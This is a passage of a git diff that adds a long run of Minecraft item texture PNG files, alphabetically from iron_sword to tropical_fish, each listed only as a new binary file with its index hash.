b/src/assets/minecraft/textures/item/iron_sword.png new file mode 100644 index 00000000..eec41ee9 Binary files /dev/null and b/src/assets/minecraft/textures/item/iron_sword.png differ diff --git a/src/assets/minecraft/textures/item/item_frame.png b/src/assets/minecraft/textures/item/item_frame.png new file mode 100644 index 00000000..6a3c312e Binary files /dev/null and b/src/assets/minecraft/textures/item/item_frame.png differ diff --git a/src/assets/minecraft/textures/item/jungle_boat.png b/src/assets/minecraft/textures/item/jungle_boat.png new file mode 100644 index 00000000..f71b966e Binary files /dev/null and b/src/assets/minecraft/textures/item/jungle_boat.png differ diff --git a/src/assets/minecraft/textures/item/jungle_door.png b/src/assets/minecraft/textures/item/jungle_door.png new file mode 100644 index 00000000..422401fb Binary files /dev/null and b/src/assets/minecraft/textures/item/jungle_door.png differ diff --git a/src/assets/minecraft/textures/item/jungle_sign.png b/src/assets/minecraft/textures/item/jungle_sign.png new file mode 100644 index 00000000..2077c1b1 Binary files /dev/null and b/src/assets/minecraft/textures/item/jungle_sign.png differ diff --git a/src/assets/minecraft/textures/item/kelp.png b/src/assets/minecraft/textures/item/kelp.png new file mode 100644 index 00000000..8cc4fe29 Binary files /dev/null and b/src/assets/minecraft/textures/item/kelp.png differ diff --git a/src/assets/minecraft/textures/item/knowledge_book.png b/src/assets/minecraft/textures/item/knowledge_book.png new file mode 100644 index 00000000..68a7a1aa Binary files /dev/null and b/src/assets/minecraft/textures/item/knowledge_book.png differ diff --git a/src/assets/minecraft/textures/item/lantern.png b/src/assets/minecraft/textures/item/lantern.png new file mode 100644 index 00000000..653a5a28 Binary files /dev/null and b/src/assets/minecraft/textures/item/lantern.png differ diff --git a/src/assets/minecraft/textures/item/lapis_lazuli.png b/src/assets/minecraft/textures/item/lapis_lazuli.png new file mode 100644 index 00000000..646813fa Binary files /dev/null and b/src/assets/minecraft/textures/item/lapis_lazuli.png differ diff --git a/src/assets/minecraft/textures/item/lava_bucket.png b/src/assets/minecraft/textures/item/lava_bucket.png new file mode 100644 index 00000000..1f7b9263 Binary files /dev/null and b/src/assets/minecraft/textures/item/lava_bucket.png differ diff --git a/src/assets/minecraft/textures/item/lead.png b/src/assets/minecraft/textures/item/lead.png new file mode 100644 index 00000000..be1cb62a Binary files /dev/null and b/src/assets/minecraft/textures/item/lead.png differ diff --git a/src/assets/minecraft/textures/item/leather.png b/src/assets/minecraft/textures/item/leather.png new file mode 100644 index 00000000..a0dee336 Binary files /dev/null and b/src/assets/minecraft/textures/item/leather.png differ diff --git a/src/assets/minecraft/textures/item/leather_boots.png b/src/assets/minecraft/textures/item/leather_boots.png new file mode 100644 index 00000000..0dad1ba0 Binary files /dev/null and b/src/assets/minecraft/textures/item/leather_boots.png differ diff --git a/src/assets/minecraft/textures/item/leather_boots_overlay.png b/src/assets/minecraft/textures/item/leather_boots_overlay.png new file mode 100644 index 00000000..37506525 Binary files /dev/null and b/src/assets/minecraft/textures/item/leather_boots_overlay.png differ diff --git a/src/assets/minecraft/textures/item/leather_chestplate.png b/src/assets/minecraft/textures/item/leather_chestplate.png new file mode 100644 index 00000000..5aa01e38 Binary files /dev/null and b/src/assets/minecraft/textures/item/leather_chestplate.png differ diff --git a/src/assets/minecraft/textures/item/leather_chestplate_overlay.png b/src/assets/minecraft/textures/item/leather_chestplate_overlay.png new file mode 100644 index 00000000..2f6464bf Binary files /dev/null and b/src/assets/minecraft/textures/item/leather_chestplate_overlay.png differ diff --git a/src/assets/minecraft/textures/item/leather_helmet.png b/src/assets/minecraft/textures/item/leather_helmet.png new file mode 100644 index 00000000..9504867d Binary files /dev/null and b/src/assets/minecraft/textures/item/leather_helmet.png differ diff --git a/src/assets/minecraft/textures/item/leather_helmet_overlay.png b/src/assets/minecraft/textures/item/leather_helmet_overlay.png new file mode 100644 index 00000000..670653ce Binary files /dev/null and b/src/assets/minecraft/textures/item/leather_helmet_overlay.png differ diff --git a/src/assets/minecraft/textures/item/leather_horse_armor.png b/src/assets/minecraft/textures/item/leather_horse_armor.png new file mode 100644 index 00000000..72bec65c Binary files /dev/null and b/src/assets/minecraft/textures/item/leather_horse_armor.png differ diff --git a/src/assets/minecraft/textures/item/leather_leggings.png b/src/assets/minecraft/textures/item/leather_leggings.png new file mode 100644 index 00000000..a1530c09 Binary files /dev/null and b/src/assets/minecraft/textures/item/leather_leggings.png differ diff --git a/src/assets/minecraft/textures/item/leather_leggings_overlay.png b/src/assets/minecraft/textures/item/leather_leggings_overlay.png new file mode 100644 index 00000000..bdbf632f Binary files /dev/null and b/src/assets/minecraft/textures/item/leather_leggings_overlay.png differ diff --git a/src/assets/minecraft/textures/item/light_blue_dye.png b/src/assets/minecraft/textures/item/light_blue_dye.png new file mode 100644 index 00000000..e614b893 Binary files /dev/null and b/src/assets/minecraft/textures/item/light_blue_dye.png differ diff --git a/src/assets/minecraft/textures/item/light_gray_dye.png b/src/assets/minecraft/textures/item/light_gray_dye.png new file mode 100644 index 00000000..bbb5acc4 Binary files /dev/null and b/src/assets/minecraft/textures/item/light_gray_dye.png differ diff --git a/src/assets/minecraft/textures/item/lime_dye.png b/src/assets/minecraft/textures/item/lime_dye.png new file mode 100644 index 00000000..f9ce8f0b Binary files /dev/null and b/src/assets/minecraft/textures/item/lime_dye.png differ diff --git a/src/assets/minecraft/textures/item/lingering_potion.png b/src/assets/minecraft/textures/item/lingering_potion.png new file mode 100644 index 00000000..a05ec6e6 Binary files /dev/null and b/src/assets/minecraft/textures/item/lingering_potion.png differ diff --git a/src/assets/minecraft/textures/item/magenta_dye.png b/src/assets/minecraft/textures/item/magenta_dye.png new file mode 100644 index 00000000..8b8412a2 Binary files /dev/null and b/src/assets/minecraft/textures/item/magenta_dye.png differ diff --git a/src/assets/minecraft/textures/item/magma_cream.png b/src/assets/minecraft/textures/item/magma_cream.png new file mode 100644 index 00000000..398d66c6 Binary files /dev/null and b/src/assets/minecraft/textures/item/magma_cream.png differ diff --git a/src/assets/minecraft/textures/item/map.png b/src/assets/minecraft/textures/item/map.png new file mode 100644 index 00000000..45019a54 Binary files /dev/null and b/src/assets/minecraft/textures/item/map.png differ diff --git a/src/assets/minecraft/textures/item/melon_seeds.png b/src/assets/minecraft/textures/item/melon_seeds.png new file mode 100644 index 00000000..ef84499c Binary files /dev/null and b/src/assets/minecraft/textures/item/melon_seeds.png differ diff --git a/src/assets/minecraft/textures/item/melon_slice.png b/src/assets/minecraft/textures/item/melon_slice.png new file mode 100644 index 00000000..0ebdca88 Binary files /dev/null and b/src/assets/minecraft/textures/item/melon_slice.png differ diff --git a/src/assets/minecraft/textures/item/milk_bucket.png b/src/assets/minecraft/textures/item/milk_bucket.png new file mode 100644 index 00000000..c1b15c1f Binary files /dev/null and b/src/assets/minecraft/textures/item/milk_bucket.png differ diff --git a/src/assets/minecraft/textures/item/minecart.png b/src/assets/minecraft/textures/item/minecart.png new file mode 100644 index 00000000..7e09e545 Binary files /dev/null and b/src/assets/minecraft/textures/item/minecart.png differ diff --git a/src/assets/minecraft/textures/item/mojang_banner_pattern.png b/src/assets/minecraft/textures/item/mojang_banner_pattern.png new file mode 100644 index 00000000..6f29d2a2 Binary files /dev/null and b/src/assets/minecraft/textures/item/mojang_banner_pattern.png differ diff --git a/src/assets/minecraft/textures/item/mushroom_stew.png b/src/assets/minecraft/textures/item/mushroom_stew.png new file mode 100644 index 00000000..d38b0e0b Binary files /dev/null and b/src/assets/minecraft/textures/item/mushroom_stew.png differ diff --git a/src/assets/minecraft/textures/item/music_disc_11.png b/src/assets/minecraft/textures/item/music_disc_11.png new file mode 100644 index 00000000..5d333b6a Binary files /dev/null and b/src/assets/minecraft/textures/item/music_disc_11.png differ diff --git a/src/assets/minecraft/textures/item/music_disc_13.png b/src/assets/minecraft/textures/item/music_disc_13.png new file mode 100644 index 00000000..8cd91b94 Binary files /dev/null and b/src/assets/minecraft/textures/item/music_disc_13.png differ diff --git a/src/assets/minecraft/textures/item/music_disc_blocks.png b/src/assets/minecraft/textures/item/music_disc_blocks.png new file mode 100644 index 00000000..3732d6c9 Binary files /dev/null and b/src/assets/minecraft/textures/item/music_disc_blocks.png differ diff --git a/src/assets/minecraft/textures/item/music_disc_cat.png b/src/assets/minecraft/textures/item/music_disc_cat.png new file mode 100644 index 00000000..b3527efb Binary files /dev/null and b/src/assets/minecraft/textures/item/music_disc_cat.png differ diff --git a/src/assets/minecraft/textures/item/music_disc_chirp.png b/src/assets/minecraft/textures/item/music_disc_chirp.png new file mode 100644 index 00000000..63068e1a Binary files /dev/null and b/src/assets/minecraft/textures/item/music_disc_chirp.png differ diff --git a/src/assets/minecraft/textures/item/music_disc_far.png b/src/assets/minecraft/textures/item/music_disc_far.png new file mode 100644 index 00000000..443ded23 Binary files /dev/null and b/src/assets/minecraft/textures/item/music_disc_far.png differ diff --git a/src/assets/minecraft/textures/item/music_disc_mall.png b/src/assets/minecraft/textures/item/music_disc_mall.png new file mode 100644 index 00000000..a2bf0d61 Binary files /dev/null and b/src/assets/minecraft/textures/item/music_disc_mall.png differ diff --git a/src/assets/minecraft/textures/item/music_disc_mellohi.png b/src/assets/minecraft/textures/item/music_disc_mellohi.png new file mode 100644 index 00000000..466f5af4 Binary files /dev/null and b/src/assets/minecraft/textures/item/music_disc_mellohi.png differ diff --git a/src/assets/minecraft/textures/item/music_disc_pigstep.png b/src/assets/minecraft/textures/item/music_disc_pigstep.png new file mode 100644 index 00000000..2f8ade3a Binary files /dev/null and b/src/assets/minecraft/textures/item/music_disc_pigstep.png differ diff --git a/src/assets/minecraft/textures/item/music_disc_stal.png b/src/assets/minecraft/textures/item/music_disc_stal.png new file mode 100644 index 00000000..731dad63 Binary files /dev/null and b/src/assets/minecraft/textures/item/music_disc_stal.png differ diff --git a/src/assets/minecraft/textures/item/music_disc_strad.png b/src/assets/minecraft/textures/item/music_disc_strad.png new file mode 100644 index 00000000..c7e42ccd Binary files /dev/null and b/src/assets/minecraft/textures/item/music_disc_strad.png differ diff --git a/src/assets/minecraft/textures/item/music_disc_wait.png b/src/assets/minecraft/textures/item/music_disc_wait.png new file mode 100644 index 00000000..5306b514 Binary files /dev/null and b/src/assets/minecraft/textures/item/music_disc_wait.png differ diff --git a/src/assets/minecraft/textures/item/music_disc_ward.png b/src/assets/minecraft/textures/item/music_disc_ward.png new file mode 100644 index 00000000..6d053fe9 Binary files /dev/null and b/src/assets/minecraft/textures/item/music_disc_ward.png differ diff --git a/src/assets/minecraft/textures/item/mutton.png b/src/assets/minecraft/textures/item/mutton.png new file mode 100644 index 00000000..dd6fa0f4 Binary files /dev/null and b/src/assets/minecraft/textures/item/mutton.png differ diff --git a/src/assets/minecraft/textures/item/name_tag.png b/src/assets/minecraft/textures/item/name_tag.png new file mode 100644 index 00000000..6a47e024 Binary files /dev/null and b/src/assets/minecraft/textures/item/name_tag.png differ diff --git a/src/assets/minecraft/textures/item/nautilus_shell.png b/src/assets/minecraft/textures/item/nautilus_shell.png new file mode 100644 index 00000000..442ca6ed Binary files /dev/null and b/src/assets/minecraft/textures/item/nautilus_shell.png differ diff --git a/src/assets/minecraft/textures/item/nether_brick.png b/src/assets/minecraft/textures/item/nether_brick.png new file mode 100644 index 00000000..e4ef83f6 Binary files /dev/null and b/src/assets/minecraft/textures/item/nether_brick.png differ diff --git a/src/assets/minecraft/textures/item/nether_sprouts.png b/src/assets/minecraft/textures/item/nether_sprouts.png new file mode 100644 index 00000000..25906445 Binary files /dev/null and b/src/assets/minecraft/textures/item/nether_sprouts.png differ diff --git a/src/assets/minecraft/textures/item/nether_star.png b/src/assets/minecraft/textures/item/nether_star.png new file mode 100644 index 00000000..bdacaee1 Binary files /dev/null and b/src/assets/minecraft/textures/item/nether_star.png differ diff --git a/src/assets/minecraft/textures/item/nether_wart.png b/src/assets/minecraft/textures/item/nether_wart.png new file mode 100644 index 00000000..09da1e33 Binary files /dev/null and b/src/assets/minecraft/textures/item/nether_wart.png differ diff --git a/src/assets/minecraft/textures/item/netherite_axe.png b/src/assets/minecraft/textures/item/netherite_axe.png new file mode 100644 index 00000000..322bf451 Binary files /dev/null and b/src/assets/minecraft/textures/item/netherite_axe.png differ diff --git a/src/assets/minecraft/textures/item/netherite_boots.png b/src/assets/minecraft/textures/item/netherite_boots.png new file mode 100644 index 00000000..ec4183ed Binary files /dev/null and b/src/assets/minecraft/textures/item/netherite_boots.png differ diff --git a/src/assets/minecraft/textures/item/netherite_chestplate.png b/src/assets/minecraft/textures/item/netherite_chestplate.png new file mode 100644 index 00000000..f2f0ad5a Binary files /dev/null and b/src/assets/minecraft/textures/item/netherite_chestplate.png differ diff --git a/src/assets/minecraft/textures/item/netherite_helmet.png b/src/assets/minecraft/textures/item/netherite_helmet.png new file mode 100644 index 00000000..17bf7f80 Binary files /dev/null and b/src/assets/minecraft/textures/item/netherite_helmet.png differ diff --git a/src/assets/minecraft/textures/item/netherite_hoe.png b/src/assets/minecraft/textures/item/netherite_hoe.png new file mode 100644 index 00000000..b41b1eef Binary files /dev/null and b/src/assets/minecraft/textures/item/netherite_hoe.png differ diff --git a/src/assets/minecraft/textures/item/netherite_ingot.png b/src/assets/minecraft/textures/item/netherite_ingot.png new file mode 100644 index 00000000..90aab056 Binary files /dev/null and b/src/assets/minecraft/textures/item/netherite_ingot.png differ diff --git a/src/assets/minecraft/textures/item/netherite_leggings.png b/src/assets/minecraft/textures/item/netherite_leggings.png new file mode 100644 index 00000000..af45363b Binary files /dev/null and b/src/assets/minecraft/textures/item/netherite_leggings.png differ diff --git a/src/assets/minecraft/textures/item/netherite_pickaxe.png b/src/assets/minecraft/textures/item/netherite_pickaxe.png new file mode 100644 index 00000000..088283b0 Binary files /dev/null and b/src/assets/minecraft/textures/item/netherite_pickaxe.png differ diff --git a/src/assets/minecraft/textures/item/netherite_scrap.png b/src/assets/minecraft/textures/item/netherite_scrap.png new file mode 100644 index 00000000..f72e21d0 Binary files /dev/null and b/src/assets/minecraft/textures/item/netherite_scrap.png differ diff --git a/src/assets/minecraft/textures/item/netherite_shovel.png b/src/assets/minecraft/textures/item/netherite_shovel.png new file mode 100644 index 00000000..0cbaf61a Binary files /dev/null and b/src/assets/minecraft/textures/item/netherite_shovel.png differ diff --git a/src/assets/minecraft/textures/item/netherite_sword.png b/src/assets/minecraft/textures/item/netherite_sword.png new file mode 100644 index 00000000..4bc0809b Binary files /dev/null and b/src/assets/minecraft/textures/item/netherite_sword.png differ diff --git a/src/assets/minecraft/textures/item/oak_boat.png b/src/assets/minecraft/textures/item/oak_boat.png new file mode 100644 index 00000000..9e9e518e Binary files /dev/null and b/src/assets/minecraft/textures/item/oak_boat.png differ diff --git a/src/assets/minecraft/textures/item/oak_door.png b/src/assets/minecraft/textures/item/oak_door.png new file mode 100644 index 00000000..6501fa45 Binary files /dev/null and b/src/assets/minecraft/textures/item/oak_door.png differ diff --git a/src/assets/minecraft/textures/item/oak_sign.png b/src/assets/minecraft/textures/item/oak_sign.png new file mode 100644 index 00000000..06fb7501 Binary files /dev/null and b/src/assets/minecraft/textures/item/oak_sign.png differ diff --git a/src/assets/minecraft/textures/item/orange_dye.png b/src/assets/minecraft/textures/item/orange_dye.png new file mode 100644 index 00000000..fcec14a4 Binary files /dev/null and b/src/assets/minecraft/textures/item/orange_dye.png differ diff --git a/src/assets/minecraft/textures/item/painting.png b/src/assets/minecraft/textures/item/painting.png new file mode 100644 index 00000000..c20db4ff Binary files /dev/null and b/src/assets/minecraft/textures/item/painting.png differ diff --git a/src/assets/minecraft/textures/item/paper.png b/src/assets/minecraft/textures/item/paper.png new file mode 100644 index 00000000..b30fb261 Binary files /dev/null and b/src/assets/minecraft/textures/item/paper.png differ diff --git a/src/assets/minecraft/textures/item/phantom_membrane.png b/src/assets/minecraft/textures/item/phantom_membrane.png new file mode 100644 index 00000000..0284e924 Binary files /dev/null and b/src/assets/minecraft/textures/item/phantom_membrane.png differ diff --git a/src/assets/minecraft/textures/item/piglin_banner_pattern.png b/src/assets/minecraft/textures/item/piglin_banner_pattern.png new file mode 100644 index 00000000..6f29d2a2 Binary files /dev/null and b/src/assets/minecraft/textures/item/piglin_banner_pattern.png differ diff --git a/src/assets/minecraft/textures/item/pink_dye.png b/src/assets/minecraft/textures/item/pink_dye.png new file mode 100644 index 00000000..aaeb77aa Binary files /dev/null and b/src/assets/minecraft/textures/item/pink_dye.png differ diff --git a/src/assets/minecraft/textures/item/poisonous_potato.png b/src/assets/minecraft/textures/item/poisonous_potato.png new file mode 100644 index 00000000..57795387 Binary files /dev/null and b/src/assets/minecraft/textures/item/poisonous_potato.png differ diff --git a/src/assets/minecraft/textures/item/popped_chorus_fruit.png b/src/assets/minecraft/textures/item/popped_chorus_fruit.png new file mode 100644 index 00000000..c83d418e Binary files /dev/null and b/src/assets/minecraft/textures/item/popped_chorus_fruit.png differ diff --git a/src/assets/minecraft/textures/item/porkchop.png b/src/assets/minecraft/textures/item/porkchop.png new file mode 100644 index 00000000..4490271e Binary files /dev/null and b/src/assets/minecraft/textures/item/porkchop.png differ diff --git a/src/assets/minecraft/textures/item/potato.png b/src/assets/minecraft/textures/item/potato.png new file mode 100644 index 00000000..98367429 Binary files /dev/null and b/src/assets/minecraft/textures/item/potato.png differ diff --git a/src/assets/minecraft/textures/item/potion.png b/src/assets/minecraft/textures/item/potion.png new file mode 100644 index 00000000..b86b4b7f Binary files /dev/null and b/src/assets/minecraft/textures/item/potion.png differ diff --git a/src/assets/minecraft/textures/item/potion_overlay.png b/src/assets/minecraft/textures/item/potion_overlay.png new file mode 100644 index 00000000..852260d7 Binary files /dev/null and b/src/assets/minecraft/textures/item/potion_overlay.png differ diff --git a/src/assets/minecraft/textures/item/prismarine_crystals.png b/src/assets/minecraft/textures/item/prismarine_crystals.png new file mode 100644 index 00000000..aba94970 Binary files /dev/null and b/src/assets/minecraft/textures/item/prismarine_crystals.png differ diff --git a/src/assets/minecraft/textures/item/prismarine_shard.png b/src/assets/minecraft/textures/item/prismarine_shard.png new file mode 100644 index 00000000..3cd7db7c Binary files /dev/null and b/src/assets/minecraft/textures/item/prismarine_shard.png differ diff --git a/src/assets/minecraft/textures/item/pufferfish.png b/src/assets/minecraft/textures/item/pufferfish.png new file mode 100644 index 00000000..82bad2cb Binary files /dev/null and b/src/assets/minecraft/textures/item/pufferfish.png differ diff --git a/src/assets/minecraft/textures/item/pufferfish_bucket.png b/src/assets/minecraft/textures/item/pufferfish_bucket.png new file mode 100644 index 00000000..ef245e65 Binary files /dev/null and b/src/assets/minecraft/textures/item/pufferfish_bucket.png differ diff --git a/src/assets/minecraft/textures/item/pumpkin_pie.png b/src/assets/minecraft/textures/item/pumpkin_pie.png new file mode 100644 index 00000000..310177cb Binary files /dev/null and b/src/assets/minecraft/textures/item/pumpkin_pie.png differ diff --git a/src/assets/minecraft/textures/item/pumpkin_seeds.png b/src/assets/minecraft/textures/item/pumpkin_seeds.png new file mode 100644 index 00000000..8d8f0761 Binary files /dev/null and b/src/assets/minecraft/textures/item/pumpkin_seeds.png differ diff --git a/src/assets/minecraft/textures/item/purple_dye.png b/src/assets/minecraft/textures/item/purple_dye.png new file mode 100644 index 00000000..e1618e22 Binary files /dev/null and b/src/assets/minecraft/textures/item/purple_dye.png differ diff --git a/src/assets/minecraft/textures/item/quartz.png b/src/assets/minecraft/textures/item/quartz.png new file mode 100644 index 00000000..a4c6e2ff Binary files /dev/null and b/src/assets/minecraft/textures/item/quartz.png differ diff --git a/src/assets/minecraft/textures/item/rabbit.png b/src/assets/minecraft/textures/item/rabbit.png new file mode 100644 index 00000000..058505fa Binary files /dev/null and b/src/assets/minecraft/textures/item/rabbit.png differ diff --git a/src/assets/minecraft/textures/item/rabbit_foot.png b/src/assets/minecraft/textures/item/rabbit_foot.png new file mode 100644 index 00000000..0b068994 Binary files /dev/null and b/src/assets/minecraft/textures/item/rabbit_foot.png differ diff --git a/src/assets/minecraft/textures/item/rabbit_hide.png b/src/assets/minecraft/textures/item/rabbit_hide.png new file mode 100644 index 00000000..a49f0b10 Binary files /dev/null and b/src/assets/minecraft/textures/item/rabbit_hide.png differ diff --git a/src/assets/minecraft/textures/item/rabbit_stew.png b/src/assets/minecraft/textures/item/rabbit_stew.png new file mode 100644 index 00000000..5750ee9b Binary files /dev/null and b/src/assets/minecraft/textures/item/rabbit_stew.png differ diff --git a/src/assets/minecraft/textures/item/red_dye.png b/src/assets/minecraft/textures/item/red_dye.png new file mode 100644 index 00000000..03a371c9 Binary files /dev/null and b/src/assets/minecraft/textures/item/red_dye.png differ diff --git a/src/assets/minecraft/textures/item/redstone.png b/src/assets/minecraft/textures/item/redstone.png new file mode 100644 index 00000000..ddf9b54b Binary files /dev/null and b/src/assets/minecraft/textures/item/redstone.png differ diff --git a/src/assets/minecraft/textures/item/repeater.png b/src/assets/minecraft/textures/item/repeater.png new file mode 100644 index 00000000..a8d40682 Binary files /dev/null and b/src/assets/minecraft/textures/item/repeater.png differ diff --git a/src/assets/minecraft/textures/item/rotten_flesh.png b/src/assets/minecraft/textures/item/rotten_flesh.png new file mode 100644 index 00000000..a5f1dfb8 Binary files /dev/null and b/src/assets/minecraft/textures/item/rotten_flesh.png differ diff --git a/src/assets/minecraft/textures/item/ruby.png b/src/assets/minecraft/textures/item/ruby.png new file mode 100644 index 00000000..4f288d95 Binary files /dev/null and b/src/assets/minecraft/textures/item/ruby.png differ diff --git a/src/assets/minecraft/textures/item/saddle.png b/src/assets/minecraft/textures/item/saddle.png new file mode 100644 index 00000000..3b1ed0bb Binary files /dev/null and b/src/assets/minecraft/textures/item/saddle.png differ diff --git a/src/assets/minecraft/textures/item/salmon.png b/src/assets/minecraft/textures/item/salmon.png new file mode 100644 index 00000000..97e2ed01 Binary files /dev/null and b/src/assets/minecraft/textures/item/salmon.png differ diff --git a/src/assets/minecraft/textures/item/salmon_bucket.png b/src/assets/minecraft/textures/item/salmon_bucket.png new file mode 100644 index 00000000..549737aa Binary files /dev/null and b/src/assets/minecraft/textures/item/salmon_bucket.png differ diff --git a/src/assets/minecraft/textures/item/scute.png b/src/assets/minecraft/textures/item/scute.png new file mode 100644 index 00000000..f29c5d5e Binary files /dev/null and b/src/assets/minecraft/textures/item/scute.png differ diff --git a/src/assets/minecraft/textures/item/sea_pickle.png b/src/assets/minecraft/textures/item/sea_pickle.png new file mode 100644 index 00000000..fec3dfdd Binary files /dev/null and b/src/assets/minecraft/textures/item/sea_pickle.png differ diff --git a/src/assets/minecraft/textures/item/seagrass.png b/src/assets/minecraft/textures/item/seagrass.png new file mode 100644 index 00000000..a8a77345 Binary files /dev/null and b/src/assets/minecraft/textures/item/seagrass.png differ diff --git a/src/assets/minecraft/textures/item/shears.png b/src/assets/minecraft/textures/item/shears.png new file mode 100644 index 00000000..ac05b41f Binary files /dev/null and b/src/assets/minecraft/textures/item/shears.png differ diff --git a/src/assets/minecraft/textures/item/shulker_shell.png b/src/assets/minecraft/textures/item/shulker_shell.png new file mode 100644 index 00000000..0bae3cfb Binary files /dev/null and b/src/assets/minecraft/textures/item/shulker_shell.png differ diff --git a/src/assets/minecraft/textures/item/skull_banner_pattern.png b/src/assets/minecraft/textures/item/skull_banner_pattern.png new file mode 100644 index 00000000..6f29d2a2 Binary files /dev/null and b/src/assets/minecraft/textures/item/skull_banner_pattern.png differ diff --git a/src/assets/minecraft/textures/item/slime_ball.png b/src/assets/minecraft/textures/item/slime_ball.png new file mode 100644 index 00000000..7192a111 Binary files /dev/null and b/src/assets/minecraft/textures/item/slime_ball.png differ diff --git a/src/assets/minecraft/textures/item/snowball.png b/src/assets/minecraft/textures/item/snowball.png new file mode 100644 index 00000000..5cc3ab9b Binary files /dev/null and b/src/assets/minecraft/textures/item/snowball.png differ diff --git a/src/assets/minecraft/textures/item/soul_campfire.png b/src/assets/minecraft/textures/item/soul_campfire.png new file mode 100644 index 00000000..65ef311d Binary files /dev/null and b/src/assets/minecraft/textures/item/soul_campfire.png differ diff --git a/src/assets/minecraft/textures/item/soul_lantern.png b/src/assets/minecraft/textures/item/soul_lantern.png new file mode 100644 index 00000000..c9addf4e Binary files /dev/null and b/src/assets/minecraft/textures/item/soul_lantern.png differ diff --git a/src/assets/minecraft/textures/item/spawn_egg.png b/src/assets/minecraft/textures/item/spawn_egg.png new file mode 100644 index 00000000..f4c7dee1 Binary files /dev/null and b/src/assets/minecraft/textures/item/spawn_egg.png differ diff --git a/src/assets/minecraft/textures/item/spawn_egg_overlay.png b/src/assets/minecraft/textures/item/spawn_egg_overlay.png new file mode 100644 index 00000000..83ec78f1 Binary files /dev/null and b/src/assets/minecraft/textures/item/spawn_egg_overlay.png differ diff --git a/src/assets/minecraft/textures/item/spectral_arrow.png b/src/assets/minecraft/textures/item/spectral_arrow.png new file mode 100644 index 00000000..5c2c24a3 Binary files /dev/null and b/src/assets/minecraft/textures/item/spectral_arrow.png differ diff --git a/src/assets/minecraft/textures/item/spider_eye.png b/src/assets/minecraft/textures/item/spider_eye.png new file mode 100644 index 00000000..4c0b784c Binary files /dev/null and b/src/assets/minecraft/textures/item/spider_eye.png differ diff --git a/src/assets/minecraft/textures/item/splash_potion.png b/src/assets/minecraft/textures/item/splash_potion.png new file mode 100644 index 00000000..0d3fa39d Binary files /dev/null and b/src/assets/minecraft/textures/item/splash_potion.png differ diff --git a/src/assets/minecraft/textures/item/spruce_boat.png b/src/assets/minecraft/textures/item/spruce_boat.png new file mode 100644 index 00000000..d764262a Binary files /dev/null and b/src/assets/minecraft/textures/item/spruce_boat.png differ diff --git a/src/assets/minecraft/textures/item/spruce_door.png b/src/assets/minecraft/textures/item/spruce_door.png new file mode 100644 index 00000000..8d915f35 Binary files /dev/null and b/src/assets/minecraft/textures/item/spruce_door.png differ diff --git a/src/assets/minecraft/textures/item/spruce_sign.png b/src/assets/minecraft/textures/item/spruce_sign.png new file mode 100644 index 00000000..74d83e03 Binary files /dev/null and b/src/assets/minecraft/textures/item/spruce_sign.png differ diff --git a/src/assets/minecraft/textures/item/stick.png b/src/assets/minecraft/textures/item/stick.png new file mode 100644 index 00000000..a6971ed3 Binary files /dev/null and b/src/assets/minecraft/textures/item/stick.png differ diff --git a/src/assets/minecraft/textures/item/stone_axe.png b/src/assets/minecraft/textures/item/stone_axe.png new file mode 100644 index 00000000..2b726136 Binary files /dev/null and b/src/assets/minecraft/textures/item/stone_axe.png differ diff --git a/src/assets/minecraft/textures/item/stone_hoe.png b/src/assets/minecraft/textures/item/stone_hoe.png new file mode 100644 index 00000000..8fe6f338 Binary files /dev/null and b/src/assets/minecraft/textures/item/stone_hoe.png differ diff --git a/src/assets/minecraft/textures/item/stone_pickaxe.png b/src/assets/minecraft/textures/item/stone_pickaxe.png new file mode 100644 index 00000000..71c261ac Binary files /dev/null and b/src/assets/minecraft/textures/item/stone_pickaxe.png differ diff --git a/src/assets/minecraft/textures/item/stone_shovel.png b/src/assets/minecraft/textures/item/stone_shovel.png new file mode 100644 index 00000000..d9b1faa1 Binary files /dev/null and b/src/assets/minecraft/textures/item/stone_shovel.png differ diff --git a/src/assets/minecraft/textures/item/stone_sword.png b/src/assets/minecraft/textures/item/stone_sword.png new file mode 100644 index 00000000..68f8aa23 Binary files /dev/null and b/src/assets/minecraft/textures/item/stone_sword.png differ diff --git a/src/assets/minecraft/textures/item/string.png b/src/assets/minecraft/textures/item/string.png new file mode 100644 index 00000000..c4234313 Binary files /dev/null and b/src/assets/minecraft/textures/item/string.png differ diff --git a/src/assets/minecraft/textures/item/structure_void.png b/src/assets/minecraft/textures/item/structure_void.png new file mode 100644 index 00000000..4b150003 Binary files /dev/null and b/src/assets/minecraft/textures/item/structure_void.png differ diff --git a/src/assets/minecraft/textures/item/sugar.png b/src/assets/minecraft/textures/item/sugar.png new file mode 100644 index 00000000..ab9f1478 Binary files /dev/null and b/src/assets/minecraft/textures/item/sugar.png differ diff --git a/src/assets/minecraft/textures/item/sugar_cane.png b/src/assets/minecraft/textures/item/sugar_cane.png new file mode 100644 index 00000000..610f464b Binary files /dev/null and b/src/assets/minecraft/textures/item/sugar_cane.png differ diff --git a/src/assets/minecraft/textures/item/suspicious_stew.png b/src/assets/minecraft/textures/item/suspicious_stew.png new file mode 100644 index 00000000..3c8b6856 Binary files /dev/null and b/src/assets/minecraft/textures/item/suspicious_stew.png differ diff --git a/src/assets/minecraft/textures/item/sweet_berries.png b/src/assets/minecraft/textures/item/sweet_berries.png new file mode 100644 index 00000000..bce67956 Binary files /dev/null and b/src/assets/minecraft/textures/item/sweet_berries.png differ diff --git a/src/assets/minecraft/textures/item/tipped_arrow_base.png b/src/assets/minecraft/textures/item/tipped_arrow_base.png new file mode 100644 index 00000000..a1b298ca Binary files /dev/null and b/src/assets/minecraft/textures/item/tipped_arrow_base.png differ diff --git a/src/assets/minecraft/textures/item/tipped_arrow_head.png b/src/assets/minecraft/textures/item/tipped_arrow_head.png new file mode 100644 index 00000000..7000bfc2 Binary files /dev/null and b/src/assets/minecraft/textures/item/tipped_arrow_head.png differ diff --git a/src/assets/minecraft/textures/item/tnt_minecart.png b/src/assets/minecraft/textures/item/tnt_minecart.png new file mode 100644 index 00000000..cc81b8d1 Binary files /dev/null and b/src/assets/minecraft/textures/item/tnt_minecart.png differ diff --git a/src/assets/minecraft/textures/item/totem_of_undying.png b/src/assets/minecraft/textures/item/totem_of_undying.png new file mode 100644 index 00000000..51599c50 Binary files /dev/null and b/src/assets/minecraft/textures/item/totem_of_undying.png differ diff --git a/src/assets/minecraft/textures/item/trident.png b/src/assets/minecraft/textures/item/trident.png new file mode 100644 index 00000000..c1ffc2e7 Binary files /dev/null and b/src/assets/minecraft/textures/item/trident.png differ diff --git a/src/assets/minecraft/textures/item/tropical_fish.png b/src/assets/minecraft/textures/item/tropical_fish.png new file mode 100644 index 00000000..0790f278 Binary files /dev/null 